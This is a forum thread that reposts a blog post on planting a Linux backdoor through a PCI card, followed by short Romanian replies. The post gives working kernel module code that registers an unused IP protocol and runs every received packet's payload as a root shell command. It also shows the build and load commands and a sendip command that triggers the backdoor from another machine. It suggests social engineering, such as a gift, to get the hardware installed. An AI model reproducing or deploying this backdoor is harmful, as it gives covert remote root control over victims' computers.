Hosting backdoors in hardware

[em]

Have you ever had a machine get compromised? What did you do? Did you run rootkit checkers and reboot? Did you restore from backups or wipe and reinstall the machines, to remove any potential backdoors?

In some cases, that may not be enough. In this blog post, we're going to describe how we can gain full control of someone's machine by giving them a piece of hardware which they install into their computer. The backdoor won't leave any trace on the disk, so it won't be eliminated even if the operating system is reinstalled. It's important to note that our ability to do this does not depend on exploiting any bugs in the operating system or other software; our hardware-based backdoor would work even if all the software on the system worked perfectly as designed.

I'll let you figure out the social engineering side of getting the hardware installed (birthday "present"?), and instead focus on some of the technical details involved.

Our goal is to produce a PCI card which, when present in a machine running Linux, modifies the kernel so that we can control the machine remotely over the Internet. We're going to make the simplifying assumption that we have a virtual machine which is a replica of the actual target machine. In particular, we know the architecture and exact kernel version of the target machine. Our proof-of-concept code will be written to only work on this specific kernel version, but it's mainly just a matter of engineering effort to support a wide range of kernels.

Modifying the kernel with a kernel module

The easiest way to modify the behavior of our kernel is by loading a kernel module. Let's start by writing a module that will allow us to remotely control a machine.

IP packets have a field called the protocol number, which is how systems distinguish between TCP and UDP and other protocols. We're going to pick an unused protocol number, say, 163, and have our module listen for packets with that protocol number. When we receive one, we'll execute its data payload in a shell running as root. This will give us complete remote control of the machine.

The Linux kernel has a global table inet_protos consisting of a struct net_protocol * for each protocol number. The important field for our purposes is handler, a pointer to a function which takes a single argument of type struct sk_buff *. Whenever the Linux kernel receives an IP packet, it looks up the entry in inet_protos corresponding to the protocol number of the packet, and if the entry is not NULL, it passes the packet to the handler function. The struct sk_buff type is quite complicated, but the only field we care about is the data field, which is a pointer to the beginning of the payload of the packet (everything after the IP header). We want to pass the payload as commands to a shell running with root privileges. We can create a user-mode process running as root using the call_usermodehelper function, so our handler looks like this:

int exec_packet(struct sk_buff *skb)
{
	char *argv[4] = {"/bin/sh", "-c", skb->data, NULL};
	char *envp[1] = {NULL};

	call_usermodehelper("/bin/sh", argv, envp, UMH_NO_WAIT);

	kfree_skb(skb);
	return 0;
}

We also have to define a struct net_protocol which points to our packet handler, and register it when our module is loaded:

const struct net_protocol proto163_protocol = {
	.handler = exec_packet,
	.no_policy = 1,
	.netns_ok = 1
};

int init_module(void)
{
	return (inet_add_protocol(&proto163_protocol, 163) < 0);
}

Let's build and load the module:

rwbarton@target:~$ make

make -C /lib/modules/2.6.32-24-generic/build M=/home/rwbarton modules

make[1]: Entering directory `/usr/src/linux-headers-2.6.32-24-generic'

CC [M] /home/rwbarton/exec163.o

Building modules, stage 2.

MODPOST 1 modules

CC /home/rwbarton/exec163.mod.o

LD [M] /home/rwbarton/exec163.ko

make[1]: Leaving directory `/usr/src/linux-headers-2.6.32-24-generic'

rwbarton@target:~$ sudo insmod exec163.ko

Now we can use sendip (available in the sendip Ubuntu package) to construct and send a packet with protocol number 163 from a second machine (named control) to the target machine:

rwbarton@control:~$ echo -ne 'touch /tmp/x\0' > payload

rwbarton@control:~$ sudo sendip -p ipv4 -is 0 -ip 163 -f payload $targetip

rwbarton@target:~$ ls -l /tmp/x

-rw-r--r-- 1 root root 0 2010-10-12 14:53 /tmp/x

Great! It worked. Note that we have to send a null-terminated string in the payload, because that's what call_usermodehelper expects to find in argv and we didn't add a terminator in exec_packet.

Sursa: Oracle blog

[wildchild]

Uite de ce e bine s? î?i ?ii ma?inile în spatele unui firewall hardware ?i s? blochezi porturile inutile.

[em]

Da dar,

La fel de usor s-ar fi putut face si cu pachete ICMP (ping). In fapt, daca ai VPS/dedicat nu poti fi niciodata 100% sigur ca doar tu ai acces la server.

[Nytro]

Ok, dar cum se face asta:

"Our goal is to produce a PCI card which, when present in a machine running Linux, modifies the kernel"

?

[verde_888]

@Nytro corect. Asta e intrebarea.